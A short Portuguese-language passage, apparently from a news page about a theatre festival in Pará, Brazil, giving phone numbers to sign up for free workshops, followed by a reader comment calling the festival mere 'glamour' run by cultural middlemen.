    – Para as oficinas (figurino, iluminação cênica e master class de técnica vocal), também gratuitas, as pessoas deverão se inscrever no próprio teatro ou pelos telefones (91) 4009 8752 e (91) 4009 8754.

  3. O problema é que desde 2002 esses atravessadores culturais viram aqui no Estado do Pará, um celeiro enorme de bovinos cantantes. E não importa qual governo esteja no poder, eles sempre estão por aqui. É uma pena, esse festival é só “Glamour”

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